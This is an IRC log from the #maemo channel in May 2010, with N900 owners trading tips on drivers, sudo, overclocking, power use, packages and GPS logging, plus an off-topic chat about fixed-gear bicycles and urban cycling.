**** BEGIN LOGGING AT Sat May 08 02:59:56 2010 May 08 04:04:14 dbus call to adjust screen brightness. Is it documented or must I sniff it? May 08 04:11:48 ah nevermind. May 08 04:31:30 New personal speed record for n900 hspa: 638269 bytes per second, averaged over a full minute. 9 kilometres (!) from the base station May 08 04:42:06 So I really hope pr1.2 doesn't come soon May 08 04:42:28 how come? May 08 04:42:38 I won't be able to study for exams May 08 04:42:40 moooooo May 08 04:43:06 im going to be using the QT sdk like crazy May 08 04:43:34 * DocScrutinizer yawns May 08 04:43:42 ~xyawn May 08 04:43:42 rumour has it, xyawn is nap May 08 04:44:27 hmmm May 08 04:44:47 try again ;-P May 08 04:44:49 ~xyawn May 08 04:44:50 i guess xyawn is nap May 08 04:45:25 grr, ok I heard a coffee not more than 15min befor going to sleep is rather healthy :-D May 08 04:48:06 ~botsnack May 08 04:48:07 :), luke-jr May 08 05:42:19 morning May 08 05:45:25 heya Stskeeps May 08 06:04:03 * DocScrutinizer moo's at Stskeeps May 08 06:04:23 * raster wobbles @ DocScrutinizer May 08 06:04:29 * raster jiggles @ Stskeeps May 08 06:04:38 :-D May 08 06:04:45 zoo May 08 06:06:06 friggin driver mess May 08 06:08:07 * DocScrutinizer fails to understand why http://mxr.maemo.org/fremantle/source/kernel has drivers for a whole zoo of hardware that never will see a maemo OS May 08 06:08:45 * DocScrutinizer yawns ecstatically May 08 06:09:07 DocScrutinizer: it's the linux kernel? .. May 08 06:09:07 :P May 08 06:09:10 ~seen jebba May 08 06:09:13 jebba <~jebba@Ploegsma.cwx.net> was last seen on IRC in channel #maemo, 4d 12h 17m 46s ago, saying: 'i dont do maemo stuff for weeks, go to do something, and its down..... pfft.'. May 08 06:09:46 linux kernel, pfff *burp* May 08 06:10:56 some people throw all the rocks into a box unsorted, and then call that cleaning up May 08 06:13:32 tbh I understand the concept, but I can't say I appreciate it too much May 08 06:20:24 Hey, here again to ask some advices about linux =) May 08 06:22:24 Every time i start up i need to "load/start" drivers with: "sudo modprobe ndiswrapper" to get WLAN working. I have allready created a desktop icon to execute that command, but it would be nice that it would happen automatically on startup. Any way to do this? May 08 06:23:19 /etc/rc.local ? May 08 06:24:51 or modprobe.conf maybe May 08 06:26:39 pas, i'll look into those. Thanks! May 08 06:26:59 pgas* ^^' May 08 06:29:57 * ShadowJK wonders if linux still has a driver for ethernet and scsi on his old compaq prosignia vs May 08 06:30:00 VLB :D May 08 06:30:11 last kernel I tried was 2.4 and required some hacking May 08 06:32:41 Definitely time for a nap, edited last post 5 times :-S May 08 06:33:41 * DocScrutinizer even forgot about the concept of function pointers/callback May 08 06:35:05 ShadowJK: do you know the CONFIG_* of our standard kernel? May 08 06:35:40 particularly if there's 209 #ifdef CONFIG_USB_MUSB_HDRC_HCD May 08 06:36:11 uhh... I don't know it, but to find out, I'd follow the kernel guide for maemo5 to find the right sources, and then look at defconfig_rx51 or something like that May 08 06:36:39 * DocScrutinizer ponders while yawning May 08 06:37:06 nah, goodnite #maemo May 08 06:37:52 heh, I just managed to switch away from that dayrhythm :P May 08 06:39:42 pgas, Using the /etc/rc.local worked nicely. Thanks. Anyway to avoid typing the password needed for sudo? May 08 06:45:14 Allready found out, i'll just use sudo -s May 08 07:08:00 * DocScrutinizer sighs May 08 07:08:07 can't sleep? May 08 07:08:39 nah, #ifdef CONFIG_USB_MUSB_HDRC_HCD keeps me spinning May 08 07:09:29 Stskeeps: any pointer to defconfig_rx51? May 08 07:10:08 hmm? May 08 07:10:20 or maybe you even know if the standard kernel is compiled with CONFIG_USB_MUSB_HDRC_HCD ? May 08 07:11:03 arch/arm/configs/rx51_defconfig? :P May 08 07:11:19 lemme see if I find it May 08 07:13:34 /rx51_defconfig May 08 07:13:35 No matching files May 08 07:13:40 heh May 08 07:13:41 eh May 08 07:13:58 where are you looking? :P May 08 07:14:08 http://mxr.maemo.org/fremantle/search?string=/rx51_defconfig®exp=on May 08 07:14:50 i'm sure it's in the kernel source. May 08 07:14:51 100%. May 08 07:14:52 :P May 08 07:15:35 hmm May 08 07:15:54 so a FQN would help a lot May 08 07:17:52 at http://mxr.maemo.org/fremantle/source/ I'm lost May 08 07:18:14 no arch, no arm, no configs May 08 07:18:52 http://mxr.maemo.org/fremantle/source/kernel/arch/arm/configs/rx51_defconfig May 08 07:19:08 blarg *kernel* May 08 07:19:11 * DocScrutinizer idiot May 08 07:19:34 no coffee May 08 07:19:35 :P May 08 07:19:44 ShadowJK: thanks mate May 08 07:19:52 Stskeeps: no sleep May 08 07:21:33 hmmpf, 1440 CONFIG_USB_MUSB_HDRC_HCD=y May 08 07:22:22 * DocScrutinizer ponters about 1436 # CONFIG_USB_MUSB_HOST is not set May 08 07:22:36 ponders even May 08 07:33:16 ok, definitely n8 :-) May 08 07:37:13 chem|st: pong May 08 07:43:15 I'd like to add a rule to sudoers in which operator is allowed to execute "sudo modprobe ndiswrapper", without password. What exactly am i supposed to add into the sudoers file? May 08 07:43:44 Could somebody point me to a tutorial? May 08 07:44:55 hello people May 08 07:45:17 Tuukka: could try this - http://www.go2linux.org/sudoers-how-to May 08 07:46:23 where does the n900 keep its desktop files? - or doesnt it use any? May 08 07:46:29 i was wondering if anyone knew how i can get /usr/sbin/arp on the n900 May 08 07:46:40 it's not in busybox or net-tools May 08 07:47:06 hemi770, allready looked into that, but there's no add a single command. You can only point it to some file. Should i create a file with only the command? May 08 07:48:35 i'd appreciate it Tuukka May 08 07:49:16 if you could share how you make such a file that would be cool May 08 07:50:53 i'll see if i can find something May 08 07:59:57 hm, the n900 default recent call list doesn't show the duration of calls... is there anything that does? May 08 08:00:11 this "extended call log" application doesn't seem to either May 08 08:31:35 i just changed the naming scheme on my package so the autobuilder rejects it. who should I contact to get the old package removed? May 08 08:31:48 X-Fade, May 08 08:31:51 -, May 08 08:33:18 <__a> hi guys, i'm getting "Invalid FIASCO header" while trying to flash my N900 from OSX, any tips on where what to do? May 08 08:33:43 check the MD5sum of the image May 08 08:34:36 <__a> i dont have the sums, but tried downloading several times and several different kernels :S May 08 08:34:47 <__a> http://maemobriefs.blogspot.com/2010/04/how-to-overclock-your-n900s-cpu-over.html May 08 08:34:52 err, kernels? May 08 08:35:00 <__a> sorry, images May 08 08:35:03 those aren't fiascos... May 08 08:35:43 <__a> ah, -F flag is for fiasco.. ok feeling stupid now May 08 08:36:02 <__a> i was merging several howtos hehe May 08 08:36:09 <__a> thanx! May 08 08:37:38 you do realize this halves your lifetime May 08 08:37:41 Morning, all May 08 08:37:53 or even reduces it to prolly 6 months, or even less May 08 08:37:57 Morning Jaffa May 08 08:38:13 <__a> MohammadAG: im just looking to do some undervolting May 08 08:38:19 <__a> to increase battery life May 08 08:38:29 <__a> not run @800mHz May 08 08:38:34 apparently i've read that it doesn't help May 08 08:38:40 hmm, undervolting might redu€e stability May 08 08:38:44 c* May 08 08:38:55 damn sdk 1.2 hildon-input-method May 08 08:38:56 and running it at lower speed even makes it worse May 08 08:39:01 indeed May 08 08:39:05 MohammadAG: damn hildon input method May 08 08:39:10 Transdickification galore! May 08 08:39:12 lol May 08 08:39:12 MohammadAG: that was source of all my problems May 08 08:39:29 jacekowski, apparently they made it type symbols by holding a key May 08 08:39:34 that annoys me... May 08 08:39:52 <__a> ok? undervolting at 600mHz has been reported to like double battery life according to maemosweden? May 08 08:40:01 ha May 08 08:40:11 what is maemosweden? May 08 08:40:15 __a: and it will improve your sex life by 300% May 08 08:40:21 <__a> awsome May 08 08:40:22 rofl May 08 08:40:27 <__a> ill get right to it then May 08 08:40:31 jacekowski: In Sweden it will, I am sure... May 08 08:41:19 <__a> http://www.meegosweden.com/alla-bloggar/sandman-bloggar/153-oeverklocka-din-n900-och-fa-baettre-batteri-pa-koepet May 08 08:41:34 swedish.. May 08 08:41:52 <__a> freely translated: "..stay at 600mhz and get more than twice the battery life" May 08 08:41:59 <__a> last sentence May 08 08:42:13 and are there any statistics? May 08 08:42:38 probably not May 08 08:42:58 tbh I think most blogs talk from their ars€s :P May 08 08:44:00 <__a> ive seen a few graphs, noting certain though, thats why i want to try for myself :P May 08 08:44:02 __a: cpu is only small part of energy consumption May 08 08:44:40 by all estimates it's lcd backlight that uses the most May 08 08:44:59 and then probably all wireless comms May 08 08:45:06 so killing the LCD helps? :p May 08 08:45:15 yes May 08 08:45:36 would the N900 boot up without an LCD? May 08 08:45:42 no May 08 08:45:46 wouldn't bet on it May 08 08:45:46 <__a> yeah, i already got that app for killing idle connections May 08 08:46:13 __a: everything is sleeping anyways May 08 08:46:37 it's when phone is working consumption is highest May 08 08:46:43 <__a> yes, ofc May 08 08:47:05 LCD working May 08 08:47:10 CPU working at full speed May 08 08:47:17 radio transmitting May 08 08:48:14 route it to a BT headset to increase consumption May 08 08:48:24 hello May 08 08:48:32 or actually, it might not be a significant difference May 08 08:48:36 hi Termana May 08 08:48:56 <__a> jacekowski, MohammadAG: so youre saying its perfect the way it is? :P May 08 08:50:56 600000 550000 500000 250000 May 08 08:51:05 all @ stock V May 08 08:54:13 <__a> MohammadAG: whats your take on the 125-step for idle? May 08 08:54:52 also unstable May 08 08:55:54 <__a> istnt all of this depending on my batch? May 08 08:56:24 http://wiki.maemo.org/N900_Hardware_Power_Consumption May 08 08:56:28 some actual numbers May 08 08:56:33 well, it needs more time to wake up, thus reducing battery life May 08 08:58:48 any numbers for WLAN on w/ powersave? May 08 08:59:18 <__a> "Wifi on with maximum powersaving. +~2mA " May 08 08:59:22 yes - see above May 08 09:00:00 2mA = 2/1200th battery use use per hour May 08 09:00:15 200mA w/o PSM and 2mA with? May 08 09:00:25 wow, that's 1 big difference May 08 09:00:37 it's huge, yes May 08 09:01:16 umm May 08 09:01:23 I don't recall measuring without psm May 08 09:01:30 the large numbers at the end are for 3g May 08 09:02:57 WLAN on - no powersave - 200mA May 08 09:03:11 oh - I can't read May 08 09:03:36 Just woken up, I need my morning coffee. May 08 09:10:06 * fipu test May 08 09:10:26 test May 08 09:29:07 has anyone gotten kexec working? May 08 09:29:32 on n900? May 08 09:29:35 there's patches for it May 08 09:30:52 yes May 08 09:31:12 I was hoping for a walkthrough for the lazy. May 08 09:33:23 frals, thanks for the gconftool-2 -s /apps/osso/inputmethod/ext_kb_repeat_enabled --type boolean true May 08 09:33:43 np ^^ May 08 09:49:28 omfg.. # apt-get install phototranslator-alpha May 08 09:50:46 E: Handler Silently Failed? May 08 09:50:47 E: Couldn't find package phototranslator-alpha May 08 09:51:01 oh May 08 09:52:34 mine has this error phototranslator-alpha: Depends: libqt4-core (>= 4.6.2~git20100224-0maemo1+0m5) but 4.5.3~git20090723-0maemo6+0m5 is to be installed May 08 09:54:39 phototranslator-alpha: Depends: libqt4-script (>= 4.5.3~git20090723-0maemo4+0m5) but it is not going to be installed May 08 09:57:27 can i install midnightcommander on the n900 ? with repository? May 08 09:57:48 yes you can, -devel, big warning signs May 08 09:59:25 hmm, not recommanded ... May 08 09:59:57 yeah, i install mc, worked fine May 08 10:00:07 extras-devel ain't *that* dangerous. just don't mess with kernel related things and other "hackish-looking" stuff if you don't know what you're doing, and be aware that your rootfs might fill up. May 08 10:00:21 Installing some app that has nothing to mess inside the system can hardly do any damage. May 08 10:01:12 rootfs 227.9M 168.6M 55.1M available 75% / <- that could be a problem May 08 10:01:31 yanu: wow, 55mb available. that is exceptionally much May 08 10:01:51 be aware tho that some of the drop down mc menus dont fit on the screen and scroll off the bottom May 08 10:01:56 well that's the case when you don't use extras-devel :) May 08 10:02:42 yeah, 55mb is pretty normal May 08 10:02:48 :) thx May 08 10:02:55 mine seems to flux between 47 and 55mb May 08 10:03:16 I'm down to 13mb and I'm struggling to get it up ;) May 08 10:03:31 heh May 08 10:04:20 i heard pr1.2 moves more stuff out of root so we might get more space after thats released May 08 10:04:36 however, they might be moving it out so they can fill it up with other stuff :P May 08 10:05:08 * dottedmag likes the /floppy dir from the ancient Debian May 08 10:05:14 heh May 08 10:05:20 when there is roam, it's meant to fill up ;) May 08 10:06:53 i was looking for abiword a few hours ago and couldnt find it May 08 10:07:03 has it been moved or renamed or something? May 08 10:11:54 * RurouniJones looks at the topic, mutters about pr1.2 then goes back to lurking May 08 10:13:06 hey everyone, is it possible to get a full version of flash working on my N900/maemo 5 device in firefox or microB? May 08 10:13:26 mine had flash out of the box May 08 10:13:29 the version of flash is a full version May 08 10:13:36 flash 9.? May 08 10:13:39 9.4 May 08 10:13:41 i think he means in firefox May 08 10:13:52 'or microb' May 08 10:13:56 should already be in microB May 08 10:14:45 hmm, i have flash indeed in microb but it seems to be the lite verrsion I think May 08 10:15:11 a website just complained the lite version doesn't work May 08 10:16:05 ive not had any flash issues with the standard maemo browser May 08 10:18:00 Psi: business.ikea.com won't work here. May 08 10:18:01 it's not lite May 08 10:18:06 hit youtube, or ... May 08 10:18:13 some sites now require flash 10 May 08 10:18:16 which we don't have May 08 10:18:18 ah May 08 10:18:25 this is not however a flash lite issue May 08 10:18:44 So a broken website that tries flash 10 -> flash lite won't work May 08 10:19:53 SpeedEvil: ah, it is a flash 10 issue with ikea? ok. too bad May 08 10:20:40 is there any info on fp10 for maemo/linux on ARM? May 08 10:21:27 dunno May 08 10:21:39 it's reportedly been 'testing' for some time May 08 10:21:45 if it'll come out is a different matter May 08 10:24:00 ok. stupid ikea people that they don't have a non flash version. guess i'll go to another store :) May 08 10:29:36 thx, mc is running ! May 08 10:31:04 still wondering how to set static ARP entry on n900 if anyone knows May 08 10:46:31 hemi770 isn't it possible with the arp command that is avillable on other linux distros? May 08 10:46:47 i can't find an arp executable for it May 08 10:47:42 sorry, me neither :) should've lookes before answering. May 08 10:47:53 seems like a pretty basic omission to me May 08 10:48:04 esp since it could be compiled into busybox May 08 10:48:24 hmm, I actually never use it on my normal linux boxes May 08 10:48:36 that's fine if you don't need it :) May 08 10:48:38 arp entry May 08 10:48:39 ? May 08 10:48:41 yeah May 08 10:48:43 you mean mac address? May 08 10:48:53 or arp table? May 08 10:48:57 arp table May 08 10:49:02 arp -s etc etc May 08 10:49:42 easy - and silly way May 08 10:49:50 Install easy-debian May 08 10:49:54 hemi770 would it be hard to combile using the sdk? haven't tried the sdk yet myself. May 08 10:49:56 start it May 08 10:50:09 copy off /.debian/usr/sbin/arp May 08 10:50:11 installing sdk now May 08 10:50:13 'just works' May 08 10:50:19 SpeedEvil: cool that sounds easy May 08 10:50:26 thanks for the tip May 08 10:50:45 i suppose pr1.2 will require a full reinstall of everything when it comes out? May 08 10:51:52 why? May 08 10:52:03 of course not May 08 10:52:15 ok that sounds good May 08 10:52:32 * haltdef_ will do one anyway May 08 10:54:38 hemi770: I'm unsure if something as silly as adding the debian libdirs to /etc/ld.so.conf - and running ldconfig - would let you run most stuff outside chroot May 08 10:54:41 I suspect it would May 08 10:55:01 (only the statically linked binaries, and ones with the same libs will noemally work May 08 10:55:22 probably worth a try May 08 10:57:59 here comes easydebian May 08 11:00:27 wouldnt the "easiest" be to get the .deb from debian arm and try if it works? May 08 11:00:43 frals: possibly, yes May 08 11:00:56 * SpeedEvil is lazy though. May 08 11:01:03 i think i'll be wanting easy debian anyway May 08 11:01:05 And I had easydebian installed. May 08 11:01:07 but i'll check that out too May 08 11:01:13 And after that, all you need is cp. May 08 11:01:40 http://www.techeye.net/internet/woman-says-3d-porno-made-her-pregnant :| May 08 11:02:14 LOL May 08 11:02:23 plus - if - assuming it works - you simply add the libs to ldconfig - add the binary path to your path - then you have it 'just working' - with no problems of optification or / filling up May 08 11:04:12 jeez it's a sweet little machine May 08 11:04:39 was lying in bed piping tunes from the main collection to the ghettoblaster via FM last night May 08 11:04:43 v cool May 08 11:13:48 Hello world :) May 08 11:14:37 hey, anyone in the US that could provide me with a proxy so i could set my google voice account up? May 08 11:26:21 no? :| May 08 11:30:55 Hello May 08 11:33:10 Hello May 08 11:34:13 bye May 08 11:37:58 how do i uninstall QT SDK "qt-sdk-linux-x86-opensource-2009.05.bin" May 08 11:57:48 hey everyone, i am getting dependency ptoblems with libqt4 not being available. could that be because I have extra-devel enabled? May 08 12:01:16 Hooray, netsplit day May 08 12:04:46 there is something wrong with the gps logger widget May 08 12:04:56 what? May 08 12:04:58 works for me May 08 12:05:19 yeah, it works, but the gpx file says my max cycling speed today was 111.92kph May 08 12:06:10 congrats, that’s faster than you are allowed to drive on some roads here :P May 08 12:06:15 would get you to work quite fast May 08 12:06:19 mapmytracks.com shows the correct track and everything, avg speed is plausible, but vmax is not possible May 08 12:06:32 maybe your new bike is just awesome May 08 12:06:50 it is, but not that awesome May 08 12:08:15 TomaszD: Welcome to GPS. May 08 12:08:51 well, my external gps with sportstracker on the e51 never showed bogus data, apart from idiotic elevation May 08 12:09:00 http://wiki.openstreetmap.org/wiki/Accuracy May 08 12:09:04 hmm. May 08 12:09:17 I probably need to add a section on speed to that page May 08 12:09:25 Look at the start May 08 12:09:36 I will try external bt gps tomorrow and see if that helps May 08 12:09:37 Edit it, and cut off the start May 08 12:09:52 or alternatively, look for where the error is May 08 12:10:50 I think that the widget makes some rounding/averaging errors when it loses signal May 08 12:11:16 or it uses the cell id stuff May 08 12:11:33 TomaszD: See the above page. May 08 12:11:34 I disabled everything data-connection wise May 08 12:12:01 TomaszD: Imagine what happens to the pink GPS trace when it tries to calculate accuracy May 08 12:12:19 Were you carrying it with GPS antenna up? May 08 12:12:25 That will help some May 08 12:12:36 where is the gps antenna located? May 08 12:12:46 the n900 was in my pocket, so I had no control over this May 08 12:13:00 I will put the phone in the bike satchel next time May 08 12:13:02 Sure you do May 08 12:13:21 For most pockets, there is a couple of orientations - one more to the sky than the other May 08 12:13:34 the GPS antenna is at the top, next to the powerbutton May 08 12:13:48 also if your pocket was swinging around... May 08 12:13:55 it was :) May 08 12:14:25 alright, I'll put the phone correctly in the satchel tomorrow and then compare with an external gps on Monday if weather allows May 08 12:17:19 TomaszD: wow, that's a pretty good bike then :P May 08 12:17:31 TomaszD: you sure you showed us the right picture? Sounds more like a motorbike :P May 08 12:17:45 heh May 08 12:18:43 no worries, couple of phone calls, carrying the bike on steep hills, massive amount of red lights, shopping, and the avg speed is about 13km/h May 08 12:18:48 so it's definitely a bike May 08 12:18:49 :) May 08 12:19:29 you stop at red lights? May 08 12:19:39 Dude, you're a cyclist, fuck those rules! May 08 12:19:54 in poland, if you don't respect red lights, you die May 08 12:19:54 :P May 08 12:20:01 yes May 08 12:20:07 * satmd believs that May 08 12:20:10 Just hop on the pavement, switch to the pedestrian crossing, and you're good May 08 12:20:10 +e May 08 12:20:27 and you're as good as dead you meant May 08 12:20:35 meh May 08 12:20:40 plonkers :P May 08 12:20:51 I'll teach you how to drive a bike :P May 08 12:21:15 even if you respect red lights you simply cannot let your guard down for a second or you will die May 08 12:21:19 in shanghai even if you respect the red lights, you are risking to die May 08 12:21:24 I need to buy a helmet.. May 08 12:21:54 cars don't care about bikes or pedestrian... May 08 12:22:47 just switch on the hops, cross over the pedestrian, and you're on the pavement? May 08 12:23:13 we actually have real bike paths, lots of them May 08 12:23:41 I just did >30km only on bike paths May 08 12:24:17 gents: http://www.youtube.com/watch?v=SzfjSSlQ-yc May 08 12:25:33 that would be incredibly retarded to do over here May 08 12:26:18 it is incredibly retarded to do anywhere May 08 12:26:57 yes, but these guys have an intact camera May 08 12:27:16 you'd get crushed by a bus on the second intersection over here lol May 08 12:27:42 crashanddie: you still got the machine gun? May 08 12:28:03 aye May 08 12:28:12 can I have it? May 08 12:28:15 * crashanddie gives hands the machine gun to chem|st May 08 12:28:21 crashanddie: http://talk.maemo.org/showthread.php?p=649250#post649250 May 08 12:28:47 I think it's "safe" to do this in new york because the traffic is stationary in the video, while here cars are doing 80km/h+ on the main road May 08 12:29:16 http://3.bp.blogspot.com/_YaAt2fURNNU/S30jNW9SimI/AAAAAAAAALs/riyEWoXWOKQ/s1600/Screenshot-20100214-173750.png May 08 12:29:51 and still, all it takes is one idiot to swerve into you and you're dead, so I guess these guys just don't care, better do this on a bike than in a car I guess May 08 12:30:28 DocScrutinizer, :) May 08 12:30:34 TomaszD: it's a world apart May 08 12:30:35 TomaszD: you can do that in any huger city over here May 08 12:30:50 TomaszD: these guys do it in London, SF, NYC, Moscow, Tokyo, whereever May 08 12:30:51 DocScrutinizer, nice speed limits over there May 08 12:32:16 TomaszD: these guys take huge risks, but are also incredibly skilled. I'm not saying it's right, but there is a business for it, and they understand the risks very well May 08 12:32:18 well my father told me of on he saw doing it and then he passed him after 15 minutes the biker passed him at a hill...upway May 08 12:32:31 TomaszD: not a day goes by that one of these guys doesn't lose his life against a car May 08 12:32:36 that tmo link reminds me of a local thief that stole all the mile(km)stones off a road May 08 12:32:37 I've found a map with bike paths, they're in red http://mapa.trojmiasto.pl/?dzial=rowery May 08 12:32:46 big heavy stones May 08 12:32:57 * MohammadAG switches connections May 08 12:33:28 MohammadAG: what's been your sophisticated way to reboot with dsme & bme stop? May 08 12:33:39 the wrong way part is nice May 08 12:34:00 TomaszD: http://www.youtube.com/watch?v=iqTxNgEtL4I May 08 12:34:09 adeus: lol May 08 12:34:10 TomaszD: excellent documentary -- "Pedal" May 08 12:34:34 crashanddie, well, you see, I don't think it's wrong to take risks with your own life, it's theirs, let'em die, but there are also pedestrians to consider May 08 12:34:57 meh, yeah and no May 08 12:35:24 TomaszD: look at that second video, he's probably one of the best couriers in NYC, and he's seriously careful around pedestrians May 08 12:35:45 adrenaline junkies I understand, but many of those guys are just assholes, and don't tell me they aren't, when they jump out of a corner straight into your child on the pavement May 08 12:35:59 then you'll tell me "meh" May 08 12:36:29 I've crashed quite a few times going fast in pedestrian areas of London May 08 12:36:48 and I don't think I've ever met a fixie who'd rather run into someone than a wall May 08 12:37:43 fixies with no brakes are on a whole new level of retardedness of their own May 08 12:38:11 the so called "hipsters" like them May 08 12:38:34 why? May 08 12:38:38 I suggest a hood over the eyes and then running random on highways May 08 12:38:48 question: i am planning to get the n900 finally as i have managed to save up some money. My question is that are there different generations of model of the n900? May 08 12:38:59 I'm not sure why they like them, because unnecessary danger is cool? May 08 12:39:14 and lack of practicality is a huge coolness factor too May 08 12:39:30 sifr: not currently May 08 12:39:45 The reason I ask is when I was surfing the nokia website a few months ago the price went down to about £438 in the uk. and they replensihed the stock and the price went up to 479 May 08 12:39:49 TomaszD: That's because you've never driven one :) May 08 12:40:02 TomaszD: fixies are seriously fun to ride, they require a whole new level of involvement May 08 12:40:06 RurouniJones: I see thanks. May 08 12:40:26 I had a bmx when I was young, but it had brakes, it was indeed fun, not very practical, but fun May 08 12:40:31 TomaszD: and you still have brakes May 08 12:40:39 sifr: possibly a conversion rate issue May 08 12:40:48 TomaszD: you can lock up the rear wheel, and then hop the back May 08 12:40:49 yeah, I'm talking about people who intentionally get rid of them May 08 12:41:03 TomaszD: nha, fixie = braking by not pedaling May 08 12:41:23 ManoftheSea: no no, there was no conversion. it was £438 and then went upto £479 so I thought maybe they upgraded the boards or something May 08 12:41:35 TomaszD: its just weight you dont want... May 08 12:41:50 sifr: no May 08 12:41:51 and reliability May 08 12:42:15 On a side note does anybody have or know of anyplace i can get a promo code? :) May 08 12:42:17 wait, I confused bmx with fixies, fixies are even worse, you have to force the pedals to stop moving to lock up the wheel and totally loose control in a bend or in wet conditions right? May 08 12:42:17 sifr, you're sure it's not the conversion from one currency to pounds? There aren't hardware versions May 08 12:42:22 crashanddie: you've a fixie then? May 08 12:42:23 promo? May 08 12:42:28 Just FYI : http://wiki.maemo.org/OpenSuse_Build_Service May 08 12:42:30 * tybollt not sure - do I want a fixie? May 08 12:42:32 *lose May 08 12:42:34 ManoftheSea: 100% sure both quoted in pounds May 08 12:42:36 crashanddie: braking makes your rimes dirty ;) May 08 12:42:52 tybollt: I have a fixie yeah, it's my cheap city bike May 08 12:42:54 ManoftheSea: and this is directly from nokia's website too. May 08 12:42:55 * lbt starts on the 'Setting up Fremantle' task... May 08 12:42:55 sifr, but if pounds to dollars (or whatever they're built in) changed in that time... May 08 12:43:01 no brakes means no cables, no gums, no free wheel, no moving mechanical parts May 08 12:43:15 it means once its setup, you can leave it in the sun, the rain, snow, salt, whatever, it'll never die May 08 12:43:18 Because those numbers you quoted aren't nice round numbers. May 08 12:43:19 ManoftheSea: oh oh, you mean that way. Right I see. hmm quite possible. May 08 12:43:37 ManoftheSea: should've bought it then :) May 08 12:44:02 are you sure you want a linux computer? May 08 12:44:08 ManoftheSea: promotional code for discounts etc. May 08 12:44:09 sifr ManoftheSea: what a discussion? the price changed nearly hourly back in february. On nokia website it was about weekly. May 08 12:44:23 TomaszD: yeah, there's no coasting on a fixie May 08 12:44:40 ManoftheSea: ofcourse, I have everything else running some form of unix or linux at home May 08 12:45:02 I paid a friggin 600EUR to them, some 9 months ago ;-P May 08 12:45:02 alright. I'm fine with it, I love mine. It's just a question that has to be asked. May 08 12:45:12 sifr: look for the cheapest retailer an gogogo May 08 12:45:17 TomaszD: you just need to plan where you'll be stopping, you can slow down slowly by slowing down the number of revolutions of your pedals/legs, or you can completely lock up the back wheel (which doesn't make you lose more control than if you locked up the back wheel on a normal brake bike) May 08 12:45:30 DocScrutinizer: I paid 520 at amazone May 08 12:45:33 DocScrutinizer: I paid 520 at amazon May 08 12:45:46 chem|st: thanks. will have a look. May 08 12:45:50 lbt: setting up a local OBS? May 08 12:45:52 TomaszD: then, by hopping the back wheel, you create a kind of "ABS" system, where you use the initial friction gripping to make your slowing more adequate May 08 12:46:16 TheVirtualVortex: maemo.org and meego community OBS May 08 12:46:27 sifr: and dont buy used, they oc'ed already... May 08 12:46:33 uh... why would you lock and ABS? May 08 12:46:43 Static friction is better than kinetic friction May 08 12:46:47 lbt: I see, sounds great May 08 12:46:55 Which is to say, when the wheel is just before lockup: better May 08 12:47:04 :) need to see how it evolves May 08 12:47:22 lbt: I have packaged some games in OBS (for opensuse) May 08 12:47:33 lbt: so I'll be glad to do the same for maemo once it's ready May 08 12:47:40 chem|st: hmm wasn't aware of that. Thanks. To be honest I did consider buying used but thought might as well go for new and pamper it. :D May 08 12:47:48 crashanddie, there's too many variables in play when driving here to plan ahead in this way May 08 12:47:57 *riding, not driving May 08 12:48:09 crashanddie: but it'll kill you if you're not used to it :) May 08 12:48:18 tybollt: oh definitely May 08 12:48:18 TheVirtualVortex: cool ... May 08 12:48:29 and I don't lock up my rear wheel to brake, I use both brakes to just slow down May 08 12:48:30 tybollt: for sure May 08 12:48:43 crashanddie: Which is why I've - so far - stayed away from getting one... ;) May 08 12:49:03 TomaszD: I take on the front, back bracke is just for turning May 08 12:49:12 tybollt: they're seriously fun to ride though, I mean, they're cheap as, you can probably get a frame + fixie gears for what, 60 quid? May 08 12:49:21 you can convert any bike to be a fixie May 08 12:49:38 I guess the way those brakes I once seen worked, was the front wheel was indirectly braked by the force of the read wheel. So before you go 'yeeha' over the bike's steer, the the rear lifts and lessens front break this way May 08 12:49:40 they will take the most absolute pain, too :P May 08 12:50:13 s/read/rear May 08 12:50:23 DocScrutinizer: nha, fixie doesn't have any front wheel braking May 08 12:50:41 locking up the front wheel will send you flying regardless if you've started braking the back wheel or not May 08 12:51:15 X-Fade: ping ... starting on http://wiki.maemo.org/OpenSuse_Build_Service/Fremantle_Setup ... looking at the backend_storage bit May 08 12:51:18 so. libdems + con or libdem + plaid cymru + SNP + lab? May 08 12:51:18 crashanddie: I was just baffled, when I heard 'ABS' and 'fixie'. That's the only 'ABS' type of bike brake I ever seen May 08 12:51:22 crashanddie: been ther done that... May 08 12:51:27 * tybollt would've loved to see the latter May 08 12:51:45 I think there are abs disk brakes on bikes May 08 12:51:53 yeah, but useless May 08 12:51:58 you have fingers, just bloody use them May 08 12:52:15 if you can't tell when your wheels start skidding, you shouldn't be on a bike May 08 12:52:27 TomaszD: maybe on motorbikes May 08 12:52:29 you're right, but it's good for beginners May 08 12:52:33 no it's not May 08 12:52:36 apparently the app manager works quite well in portrait mode May 08 12:52:58 MohammadAG: lazy dog!! May 08 12:53:02 giving beginners too much help is always a bad decision: it means that instead of having a straight learning curve, they have 3 or 4 new curves that change all the time May 08 12:53:04 you'd want abs on the front wheel, I'd like that :) May 08 12:53:14 [2010-05-08 14:33:27] MohammadAG: what's been your sophisticated way to reboot with dsme & bme stop? May 08 12:53:24 TomaszD: it's like those pussies who want to do competition paintball, and have full body armour May 08 12:53:38 "Yeah yeah, I'll take it off once I feel ready for it" May 08 12:53:48 DocScrutinizer, ? it reboots immediately when using dsmetool May 08 12:54:02 what's been the exact cmdline? May 08 12:54:31 few things: your rear wheel brake should always be controlled by your non-main hand (if you're right handed, your left hand should control the rear brake, and vice versa) May 08 12:54:32 you know, I had similar attitude to you, but everyone has their level of commitment and I started respecting it, so if someone want abs on their bike, let them have it, if someone uses full body armor, let them be May 08 12:54:40 *wants May 08 12:54:54 TomaszD: not if they want to be on my team ;) May 08 12:55:23 crashanddie, I have the opposite setting on my bike, why? May 08 12:55:42 bikes have ABS now? May 08 12:55:43 what the hell May 08 12:55:48 that's crazy :) May 08 12:55:59 crashanddie: :-D that's exactly the only mod I did to my mountainbike May 08 12:56:02 anyone know if the source code for n900's chess-game are open source? and where would I find them? May 08 12:56:10 TomaszD: because when you need to do something else (phone, drink, gps), you'll do it with your right hand, if you need to brake suddenly, you don't want your "clumsy" hand to pull like a madman on your front brake :P May 08 12:56:27 crashanddie++ May 08 12:56:48 tybollt, nah it's actually cool, especially in winter I think it would be useful, a patch of ice when riding in snowy conditions is never cool May 08 12:56:50 I know from experience since I've dived over the front bar right into dirt May 08 12:57:07 no serious injuries just it hurt like fucking hell May 08 12:57:13 crashanddie, I'm rather ambidexterous when it comes to that so I don't care May 08 12:57:16 I had burns everywhere May 08 12:57:37 TomaszD: you're not supposed to be biking in the winter May 08 12:57:53 crashanddie, so where do you draw the line when it comes to safety equipment, if no abs, then maybe no helmets too? May 08 12:57:54 